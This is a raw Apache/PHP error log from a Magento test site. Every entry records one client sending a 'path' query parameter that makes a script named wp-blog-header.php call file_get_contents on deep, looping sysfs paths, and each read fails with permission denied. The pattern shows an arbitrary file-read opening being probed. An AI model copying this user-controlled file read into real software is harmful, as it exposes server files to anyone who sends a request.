[Thu Mar 26 15:18:05.901799 2026] [php:warn] [pid 3236333] [client 74.7.241.26:52236] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:dd/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:dd/subsystem/drivers/ac
[Thu Mar 26 15:18:10.149607 2026] [php:warn] [pid 3236333] [client 74.7.241.26:52236] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fd/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fd/subsystem/devices/device:fc
[Thu Mar 26 15:18:10.635494 2026] [php:warn] [pid 3236333] [client 74.7.241.26:52236] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:ec
[Thu Mar 26 15:18:11.198194 2026] [php:warn] [pid 3236333] [client 74.7.241.26:52236] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cb/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cb/subsystem/devices/device:ae
[Thu Mar 26 15:18:15.426067 2026] [php:warn] [pid 3236333] [client 74.7.241.26:52236] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fa/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fa/subsystem/devices/device:ac
[Thu Mar 26 15:18:16.984752 2026] [php:warn] [pid 3236333] [client 74.7.241.26:52236] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fd/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fd/subsystem/devices/device:be
[Thu Mar 26 15:18:19.741767 2026] [php:warn] [pid 3236333] [client 74.7.241.26:52236] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ec/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ec/subsystem/devices/device:ec
[Thu Mar 26 15:18:22.887241 2026] [php:warn] [pid 3236333] [client 74.7.241.26:52236] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ae/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ae/subsystem/drivers/ec
[Thu Mar 26 15:18:24.370347 2026] [php:warn] [pid 3236333] [client 74.7.241.26:52236] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ae/subsystem/devices/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ae/subsystem/devices/device:bc
[Thu Mar 26 15:18:24.882901 2026] [php:warn] [pid 3236333] [client 74.7.241.26:52236] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fb/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fb/subsystem/devices/device:da
[Thu Mar 26 15:18:29.747111 2026] [php:warn] [pid 3236333] [client 74.7.241.26:52236] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ba/subsystem/devices/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ba/subsystem/devices/device:bc
[Thu Mar 26 15:18:30.305293 2026] [php:warn] [pid 3236333] [client 74.7.241.26:52236] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:be/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:be/subsystem/devices/device:fc
[Thu Mar 26 15:18:31.906853 2026] [php:warn] [pid 3236333] [client 74.7.241.26:52236] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bb/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bb/subsystem/devices/device:ae
[Thu Mar 26 15:18:32.895558 2026] [php:warn] [pid 3236333] [client 74.7.241.26:52236] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ac/subsystem/devices/device:ba/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ac/subsystem/devices/device:ba
[Thu Mar 26 15:18:34.999117 2026] [php:warn] [pid 3236333] [client 74.7.241.26:52236] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:af/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:af/subsystem/devices/device:fc
[Thu Mar 26 15:18:36.099962 2026] [php:warn] [pid 3236333] [client 74.7.241.26:52236] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fb/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fb/subsystem/devices/device:fe
[Thu Mar 26 15:18:37.168706 2026] [php:warn] [pid 3236333] [client 74.7.241.26:52236] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ff/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ff/subsystem/devices/device:be
[Thu Mar 26 15:18:37.651667 2026] [php:warn] [pid 3236333] [client 74.7.241.26:52236] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cc/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cc/subsystem/devices/device:be
[Thu Mar 26 15:18:38.703262 2026] [php:warn] [pid 3236333] [client 74.7.241.26:52236] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ff/subsystem/devices/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ff/subsystem/devices/device:bc
[Thu Mar 26 15:18:39.261236 2026] [php:warn] [pid 3236333] [client 74.7.241.26:52236] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cb/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cb/subsystem/devices/device:ec
[Thu Mar 26 15:18:42.403673 2026] [php:warn] [pid 3236333] [client 74.7.241.26:52236] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fa/subsystem/devices/device:ba/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fa/subsystem/devices/device:ba
[Thu Mar 26 15:18:46.655016 2026] [php:warn] [pid 3236333] [client 74.7.241.26:52236] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:db/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:db/device:dc
[Thu Mar 26 15:18:47.728706 2026] [php:warn] [pid 3236333] [client 74.7.241.26:52236] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fb/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fb/subsystem/devices/device:cc
[Thu Mar 26 15:18:49.854742 2026] [php:warn] [pid 3236333] [client 74.7.241.26:52236] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ed/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ed/subsystem/devices/device:cc
[Thu Mar 26 15:18:54.042951 2026] [php:warn] [pid 3236333] [client 74.7.241.26:52236] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ce/subsystem/drivers_probe): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ce/subsystem
[Thu Mar 26 15:18:54.604520 2026] [php:warn] [pid 3236333] [client 74.7.241.26:52236] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:af/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:af/subsystem/drivers/ec
[Thu Mar 26 15:18:57.439684 2026] [php:warn] [pid 3216613] [client 74.7.241.26:53788] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:db/subsystem/devices/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:db/subsystem/devices/device:bc
[Thu Mar 26 15:19:00.092365 2026] [php:warn] [pid 3216613] [client 74.7.241.26:53788] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca/subsystem/drivers_probe): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca/subsystem
[Thu Mar 26 15:19:04.947491 2026] [php:warn] [pid 3216613] [client 74.7.241.26:53788] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ee/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ee/subsystem/drivers/ac
[Thu Mar 26 15:19:12.135422 2026] [php:warn] [pid 3216613] [client 74.7.241.26:53788] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:aa/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:aa/subsystem/devices/device:ca
[Thu Mar 26 15:19:15.879708 2026] [php:warn] [pid 3216613] [client 74.7.241.26:53788] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fc/subsystem/devices/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fc/subsystem/devices/device:bc
[Thu Mar 26 15:19:16.426937 2026] [php:warn] [pid 3216613] [client 74.7.241.26:53788] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cb/subsystem/drivers/ac/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cb/subsystem/drivers/ac
[Thu Mar 26 15:19:19.684395 2026] [php:warn] [pid 3216613] [client 74.7.241.26:53788] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:aa/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:aa/subsystem/devices/device:ac
[Thu Mar 26 15:19:24.665994 2026] [php:warn] [pid 3216613] [client 74.7.241.26:53788] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ef/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ef/subsystem/devices/device:cc
[Thu Mar 26 15:19:26.274107 2026] [php:warn] [pid 3216613] [client 74.7.241.26:53788] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cf/subsystem/drivers/ac/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cf/subsystem/drivers/ac
[Thu Mar 26 15:19:31.058289 2026] [php:warn] [pid 3216613] [client 74.7.241.26:53788] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ea/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ea/subsystem/devices/device:ee
[Thu Mar 26 15:19:32.058602 2026] [php:warn] [pid 3216613] [client 74.7.241.26:53788] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ff/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ff/subsystem/devices/device:cc
[Thu Mar 26 15:19:36.352418 2026] [php:warn] [pid 3216613] [client 74.7.241.26:53788] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ea/subsystem/drivers/ac/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ea/subsystem/drivers/ac
[Thu Mar 26 15:19:38.462418 2026] [php:warn] [pid 3216613] [client 74.7.241.26:53788] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fd/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fd/subsystem/devices/device:da
[Thu Mar 26 15:19:44.823677 2026] [php:warn] [pid 3216613] [client 74.7.241.26:53788] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ee/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ee/subsystem/devices/device:fe
[Thu Mar 26 15:19:46.855435 2026] [php:warn] [pid 3216613] [client 74.7.241.26:53788] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ac/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ac/subsystem/devices/device:fe
[Thu Mar 26 15:19:48.028149 2026] [php:warn] [pid 3216613] [client 74.7.241.26:53788] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ce/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ce/subsystem/devices/device:ca
[Thu Mar 26 15:19:48.551688 2026] [php:warn] [pid 3216613] [client 74.7.241.26:53788] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ac/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ac/subsystem/devices/device:be
[Thu Mar 26 15:19:53.373472 2026] [php:warn] [pid 3216463] [client 74.7.241.26:37068] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:aa/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:aa/subsystem/devices/device:da
